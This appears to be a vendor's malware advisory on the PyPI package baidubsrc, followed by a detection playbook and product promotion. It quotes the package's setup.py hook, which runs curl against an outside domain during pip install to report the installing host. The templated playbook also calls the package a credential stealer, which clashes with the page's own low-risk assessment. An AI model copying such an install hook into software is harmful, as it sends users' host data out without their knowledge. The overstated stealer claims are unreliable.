baidubsrcPyPI
Malicious code in baidubsrc (PyPI) Remove it immediately and rotate any exposed credentials.
What this malware does
setup.py executes os.system("curl xiangyangt.com/pypi") unconditionally during pip install. This is an unauthenticated plaintext HTTP request to a personal third-party domain that is not associated with any documented publisher of this package. The request leaks the installer's IP address, User-Agent, and the fact that the package was installed on the host. The package is otherwise a trivial demo (placeholder author="demo", description "A demo pip package") with no functional need for any network activity at install time. While the response is not piped to a shell here, the install-time outbound beacon is a deliberate exfiltration of host-identifying data to an attacker-chosen endpoint, and the curl-pipe-to-shell variant is one edit away.
During installation, package calls home, and there is no other functionality.
Category: PROBABLY_PENTEST - Packages looking like typical pentest packages, but also anything that looks like testing, exploring pre-prepared kits, research & co, with clearly low-harm possibilities.
Campaign: GENERIC-standard-pypi-install-pentest
Reasons (based on the campaign):
-
The package contains code to exfiltrate basic data from the system, like IP or username. It has a limited risk.
-
The package overrides the install command in setup.py to execute malicious code during installation.

Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for baidubsrc (version 0.0.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging baidubsrc across your stack and pipelines.
If you installed it — respond
baidubsrc is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If baidubsrc was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks baidubsrc before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.

Detect & block this
O3 blocks baidubsrc-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.
